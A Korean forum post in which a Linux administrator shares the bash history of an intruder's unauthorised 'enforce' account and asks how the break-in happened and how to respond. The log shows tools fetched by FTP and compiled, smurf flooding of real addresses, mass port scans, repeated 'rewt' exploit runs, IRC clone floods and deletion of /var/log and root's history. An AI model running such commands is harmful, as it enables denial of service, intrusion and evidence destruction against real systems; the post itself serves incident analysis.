아래는 저희 리눅스에 enforce라는 계정으로 이루어진 작업들인데요.
제가 위 계정을 만든적이 없거든요 -_-;
아래의 작업을 하고 /var/log 파일까지 몽땅 지우고
가버렸는데 어떤 과정을 거쳐서 해킹을 한 것인지 조언을 바랍니다.
여기에 대한 대응은 또 어떻게 해야할지. -_-;
 w
ls
ls
ls
rm none*
cp sush .sush
rm sush
rm xperl.sh
ls
cp .sush /tmp
passwd nobody
ls
w
cat /etc/passwd
cd ..
cd enforce
exit
clear
./smurf4 p bcast 0 1 1024
clear
./smurf4 24.179.66.188 bcast 0 1 1024
clear
rm smurf4
ls
rm bcast
clear
exit
ping
ping -c 1 -s 10 cx1144656-a.lbbck1.tx.home.com
exit
cd .scan
cd sscan
./sscan -o extweb1.lubb.ttuhsc.edu
./sscan -o jun-zhi.com.tw
cd ..
exit
cd .scan
./smurf4 207.17.89.132 bcast 0 1 1024
exit
cd .scan
./rewt -h 211.43.8.1
./rewt -h 211.43.14.125
./rewt -h 211.43.15.250
./rewt -h 211.43.19.125
./rewt -h 211.43.21.5
./osscan
cat os.log
./osscan
cat os.log
./osscan
cat os.log
rm *.log
clear
./osscan
cat os.log
./rewt -h 64.23.0.242
./osscan
cat os.log
./rewt -h 64.23.50.102
./rewt -h 64.23.66.202
cd ..
./smurf4 207.17.89.132 bcast 0 1 1024
ls
cd .scan
ls
rm core
ftp ircquotez.hypermart.net
ls
gcc -o cloen clone.c
cp cloen clone
rm cloen
rm clone.c
./clone 100 enforce.no-ip.com 6667 sdg enforce
./clone 10 enforce.no-ip.com 6667 asdf enforce
./clone 5 enforce.no-ip.com 6667 asdf enforce
rm clone
ls
gcc -o bind bind.c
rm bind.c
gcc -o wu-scan wu-scan.c
rm wu-scan.c
gzip -d sscan
gtar -xvf sscan
ls
gcc -o smurf4 smurf4.c
rm smurf4.c
clear
ls
cd sscan
cd ..
cd ..
./.sush
ls
cd .scan
ls
./smurf4 207.17.89.132 bcast 0 1 1024
cd ..
./.sush
exit
cd .scan
ls
./osscan
cat os.log
./rewt -h 63.82.36.67
clear
cat statdx.log
./osscan
cat os.log
exit
w
ftp ircquotez.hypermart.net
chmod +x xperl.sh
./xperl.sh
ftp ircquotez.hypemrart.net
ftp ircquotez.hypermart.net
ls
tar -zxvf epona-1.3.6.tar.gz
cd epona-1.3.6
./configure
gmake
gmake install
ls
cd sbin
ls
ftp ircquotez.hypermart.net
ls
./services
ps -x
kill -9 14111
clear
./services
ls
irc
cd ..
ls
cd sbin
ls
./services.chk
pico services.chk
cd ..
cd ..
cd epona-1.3.6
cd sbin
ls
pico services.chk
./services.chk
ps -x
kill -9 14142
./services
cd ..
clear
cd ..
ls
rm *.gz
ls
clear
ftp ircquotez.hypermart.net
gcc -o smurf4 smurf4.c
rm smurf4.c
./.sush
clear
mkdir .scan
cd .scan
ftp ircquotez.hypermart.net
cd scan
ls
chmod +x .bla
chmod +x .os
chmod +x .ben
chmod +x rewt
chmod +x osscan
chmod +x pscan
ls
chmod +x statdx
clear
screen ./pscan 211.43 111 >>output.log
rm *.log
clear
rm *.log
clear
screen ./pscan 63.32 111 >>output.log
rm *.log
clear
screen ./pscan 63.98 111 >>output.log
clear
screen ./pscan 64.23 111 >>output.log
cat os.log
rm *.log
clear
rm *.log
clear
screen ./pscan 63.82 111 >>output.log
rm *.log
clear
rm *.log
clear
screen ./pscan 63.79 111 >>output.log
rm *.log
clear
screen ./pscan 63.19 111 >>output.log
rm *.log
clear
screen ./pscan 24.43 111 >>output.log
./osscan
cd .scan
./osscan
cat os.log
ls
cd epona-1.3.6
ls
cd data
ls
pico services.chk
./services.chk
ps -x
clear
ps -x
ls
cd ..
ls
cd sbin
ls
./services.chk
ps -x
kill -9 18035
./services
cd ..
cd ..
ls
w
cd .scan
rm *.log
screen ./pscan 63.72 111 >>output.log
ls
cd epona-1.3.6
ps -x
kill -9 18053
cd sbin
./services
cd .scan
cat statdx.log
cat statdx.log
ls
rm core
cat statdx.log
./wu-scan
./wu-scan -s 168.49.117.169
ls
rm bcast
rm smurf4
cat statdx.log
cat output.log
cat statdx.log
cat statdx.log
./rewt -h 193.231.230.68
./osscan
cat os.log
./rewt -h 163.180.17.14
./rewt -h 163.180.17.178
./rewt -h 163.180.17.158
rm os.log
./osscan
cat os.log
./rewt -h 163.180.105.119
./rewt -h 163.180.116.69
./rewt -h 163.180.105.119
./rewt -h 163.180.17.158
./rewt -h 163.180.17.178
cd .scan
cat os.log
./rewt -h 211.21.13.114
./rewt -h 211.21.17.222
./rewt -h 211.21.18.20
./rewt -h 211.21.19.27
cat os.log
./rewt -h 211.21.21.91
./rewt -h 211.21.23.130
cat os.log
./rewt -h 211.21.23.227
./rewt -h 211.21.24.222
./rewt -h 211.21.28.230
cat os.log
./rewt -h 211.21.32.106
cat os.log
cd .scan
cat os.log
cat os.log
cat os.log
ls
cd .scan
./osscan
cat os.log
./rewt -h 211.21.1.7
rm os.log
clear
./osscan
cd .scan
cat statdx.,log
cat statdx.log
./osscan
cat os.log
./rewt -h 63.72.254.162
rm *.log
clear
screen ./pscan 64.36 111 >>output.log
cat statdx.log
rm *.log
clear
screen ./pscan 168.51 111 >>output.log
rm *.llog
rm *.log
screen ./pscan 168.62 111 >>output.log
rm *.log
clear
screen ./pscan 205.137 111 >>output.log
rm *.log
screen ./pscan 163.180 111 >>output.log
rm *.log
clear
./pscan 210.46 111 >>output.log &
./pscan 210.48 111 >>output.log &
./pscan 210.50 111 >>output.log &
clear
cat statdx.log
./rewt -h 210.48.8.123
./rewt -h 210.50.13.20
cat statdx.log
ps -x
kill -9 19115
kill -9 19116
kill -9 19117
clear
clear
rm *.log
screen ./pscan 134.161 111 >>output.log
rm *.log
clear
screen ./pscan 211.21 111 >>output.log
cd .scan
ls
cat os.log
./rewt -h 211.21.32.106
./rewt -h 211.21.24.222
rm *.log
clear
cd ..
cd ..
cd var
cd named
ls
cat named.local
ifconfig
linuxconf
ls
clear
exit
ls
ps -x
cd epona-1.3.6
./services
w
ps -x
cd ..
cd .scan
./rewt -h 24.179.160.65
ls
rm core
clear
ls
cat /etc/hosts
cd ..
./.sush
cd ..
ls
cd enforce
ls
cd .scan
screen ./pscan 211.52 111 >>output.log
rm os.log
./osscan
cat os.log
rm *.log
clear
screen ./pscan 210.98 111 >>output.log
rm *.log
clear
screen ./pscan 64.45 111 >>output.log
rm *.log
cd .scan
./osscan
cat os.log
./rewt -h 211.52.54.97
cd ..
cd ..
cd enforce
ls
cd epona-1.3.6
ls
pico mail.c
pico mail.o
ls
pico botserv.c
ls
pico README
cd ..
cd .scan
clear
rm os.log
clear
cat statdx.log
./osscan
cat os.log
clear
cat os.log
./rewt -h 210.98.0.6
./rewt -h 210.98.4.2
cat statdx.log
./rewt -h 210.98.4.11
./rewt -h 210.98.5.1
./rewt -h 210.98.5.121
cat statdx.log
./rewt -h 210.98.10.19
./rewt -h 210.98.12.20
./rewt -h 210.98.12.19
./rewt -h 210.98.12.4
cat statdx.log
./rewt -h 210.98.27.10
./rewt -h 210.98.27.11
./rewt -h 210.98.27.15
./rewt -h 210.98.27.112
./rewt -h 210.98.27.12
cat os.log
cat statdx.log
./rewt -h 210.98.42.143
./rewt -h 210.98.42.145
./rewt -h 210.98.42.144
./rewt -h 210.98.42.147
./rewt -h 210.98.42.149
./rewt -h 210.98.42.136
./rewt -h 210.98.42.150
./rewt -h 210.98.42.148
./rewt -h 210.98.42.146
cat statdx.log
cat statdx.log
cat statdx.log
clear
cat statdx.log
cat statdx.log
cat statdx.log
./rewt -h 64.45.3.252
./rewt -h 64.45.3.253
./rewt -h 64.45.3.254
cat statdx.log
./osscan
cat os.log
pico statdx.log
./osscan
cat os.log
rm -rf /var/log
rm /root/.bash_history
exit
cd .scan
./osscan
cat os.log
./rewt -h 202.144.73.244
screen ./pscan 202.144 111 >>output.log
exit
cd .scan
cd sscan
./sscan -o seicion.ne.jp
./bind seicion.ne.jp
cd ..
./bind seicion.ne.jp
./bind h
./bind -h
./bind -t seicion.ne.jp
cd ..
cd enforce
ls
ps -x
clear
cd .scan
ls
screen ./pscan 205.23 111 >>output.log
rm *.log
rm -rf /var/log
cd ..
./.sush
killall -HUP services
ps -x
kill -9 4496
ls
cd epona-1.3.6
./services
cd sbin
cat services.conf
ps -x
kill -9 4501
w
./services
clear
cd ..
cd ..
cd ..
cd enforce
ftp ftp.eggdrop.net
quit
tar zxvf *.gz
cd eggdrop1.1.5
./configure
cd ..
rm -rf eggdrop1.1.5
rm *.gz
cd .scan
pico bink.c
pico bonk.c
gcc -o bonk bnk.c
gcc -o bonk bonk.c
ls
rm bonk.c
./rewt -h 150.208.131.6
clear
screen ./pscan 150.208 111 >>output.log
rm *.log
clear
screen irc
irc
rm *.log
clear
./rewt -h seicion.ne.jp
cd ..
./.sush
cd .scan
cd sscan
./bind -h
cd ..
exit
cd .scan
cat os.log
clear
cat os.log
./rewt -h 203.253.15.88
clear
cat os.log
clear
cat os.log
cat os.log
clear
clear
cat os.log
clear
cat os.log
./rewt -h 210.248.12.226
cat os.log
cat os.log
cat os.log
cat os.log
./rewt -h 203.253.21.204
clear
cat os.log
./rewt -h 203.253.24.3
cat os.log
./rewt -h 203.253.37.94
./rewt -h powerelec.kongju.ac.kr
cat os.log
cd .scan
cat os.log
cat os.log
cat os.log
cd .scan
gcc -o smurf4 smurf4.c
rm smurf4.c
./smurf4 24.179.66.86 bcast 0 1 1024
clear
./smurf4 24.179.66.188 bcast 0 1 1024
exit
cd .scan
./osscan
cat os.log
./rewt -h 210.226.2.34
cat statdx.log
cat statdx.log
./osscan
cat os.log
cat statdx.log
./osscan
rm os.log
./osscan
cat os.log
./rewt -h 203.253.7.97
./rewt -h 203.253.7.104
cat statdx.log
rm os.log
clear
./osscan
./rewt -h 203.253.37.90
ftp ircquotez.hypermart.net
cd ..
./.sush
exit
cd .scan
cd ..
./.sush
cd .scan
./rewt -h 210.226.133.58
screen ./pscan 210.226 111 >>output.log
rm *.log
./rewt -h 203.253.221.142
screen ./pscan 203.253 111 >>output.log
rm os.log
./osscan
ls
cd epona-1.3.6
./services
p s-x
ps -x
clear
exit
cd .scan
cat os.log
cat os.log
./rewt -h 210.99.13.125
./rewt -h 210.99.14.65
cat os.log
cat os.log
./rewt -h 210.99.49.197
rm *.log
clear
./osscan
cat os.log
./rewt -h 209.142.25.200
clear
exit
ls
cd epona-1.3.6
./services
cd ..
cd .scan
cat os.log
./rewt -h 210.62.0.6
cat os.log
ps -x
clear
cat os.log
clear
./rewt -h 210.42.24.19
./rewt -h 210.42.24.20
./rewt -h 210.42.24.27
./rewt -h 210.42.32.253
cat statdx.log
./osscan
cat os.log
rm os.log
./osscan
cat os.log
rm os.log
./osscan
cat os.log
rm os.log
./osscan
cat os.log
./rewt -h 210.34.32.64
./rewt -h 210.34.32.66
rm os.log
cat statdx.log
./osscan
cat os.log
rm os.log
clear
exit